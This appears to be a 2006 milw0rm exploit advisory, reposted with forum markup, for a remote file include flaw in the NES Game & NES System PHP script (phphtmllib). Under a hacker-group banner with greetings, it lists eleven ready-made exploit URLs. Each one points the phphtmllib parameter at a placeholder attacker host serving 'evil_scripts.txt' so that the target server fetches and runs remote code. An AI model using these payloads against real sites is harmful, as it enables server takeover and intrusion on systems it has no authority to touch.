NES Game & NES System <= c108122 Remote File Include

[Storm4u]

/*

+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

+

-   - - [DEVIL TEAM THE BEST POLISH TEAM] - -

+

+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

+

- NES Game & NES System <= c108122 (phphtmllib) Remote File Include Vulnerability

+

+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

+

- [Script name: NES Game & NES System v. c108122

- [Script site: [url]http://sourceforge.net/projects/nesgame[/url]

+

+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

+

-          Find by: Kacper (a.k.a Rahim)

+

-          Contact: [email]kacper1964@yahoo.pl[/email]

-                        or

-          [url]http://www.devilteam.yum.pl/[/url]

-                       and

-           [url]http://www.rahim.webd.pl/[/url]

+

+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

+

- Special Greetz: DragonHeart;-)

- Ema: Leito, Adam, DeathSpeed, Drzewko, pepi

-

!@ Przyjazni nie da sie zamienic na marne korzysci @!

+

+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

+

-            Z Dedykacja dla osoby,

-         bez ktorej nie mogl bym zyc...

-           K.C:* J.M (a.k.a Magaja)

+

+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

*/

/*



a lot of include vulnerability .....



*/

#Exploit:



[url]http://www.site.com/[/url][NES_path]/phphtmllib/includes.php?phphtmllib=[[url]http://www.myevilsite.com/evil_scripts.txt][/url]

[url]http://www.site.com/[/url][NES_path]/phphtmllib/tag_utils/divtag_utils.php?phphtmllib=[[url]http://www.myevilsite.com/evil_scripts.txt][/url]

[url]http://www.site.com/[/url][NES_path]/phphtmllib/tag_utils/form_utils.php?phphtmllib=[[url]http://www.myevilsite.com/evil_scripts.txt][/url]

[url]http://www.site.com/[/url][NES_path]/phphtmllib/tag_utils/html_utils.php?phphtmllib=[[url]http://www.myevilsite.com/evil_scripts.txt][/url]

[url]http://www.site.com/[/url][NES_path]/phphtmllib/tag_utils/localinc.php?phphtmllib=[[url]http://www.myevilsite.com/evil_scripts.txt][/url]

[url]http://www.site.com/[/url][NES_path]/phphtmllib/widgets/FooterNav.php?phphtmllib=[[url]http://www.myevilsite.com/evil_scripts.txt][/url]

[url]http://www.site.com/[/url][NES_path]/phphtmllib/widgets/HTMLPageClass.php?phphtmllib=[[url]http://www.myevilsite.com/evil_scripts.txt][/url]

[url]http://www.site.com/[/url][NES_path]/phphtmllib/widgets/InfoTable.php?phphtmllib=[[url]http://www.myevilsite.com/evil_scripts.txt][/url]

[url]http://www.site.com/[/url][NES_path]/phphtmllib/widgets/localinc.php?phphtmllib=[[url]http://www.myevilsite.com/evil_scripts.txt][/url]

[url]http://www.site.com/[/url][NES_path]/phphtmllib/widgets/NavTable.php?phphtmllib=[[url]http://www.myevilsite.com/evil_scripts.txt][/url]

[url]http://www.site.com/[/url][NES_path]/phphtmllib/widgets/TextNav.php?phphtmllib=[[url]http://www.myevilsite.com/evil_scripts.txt][/url]



# milw0rm.com [2006-08-20]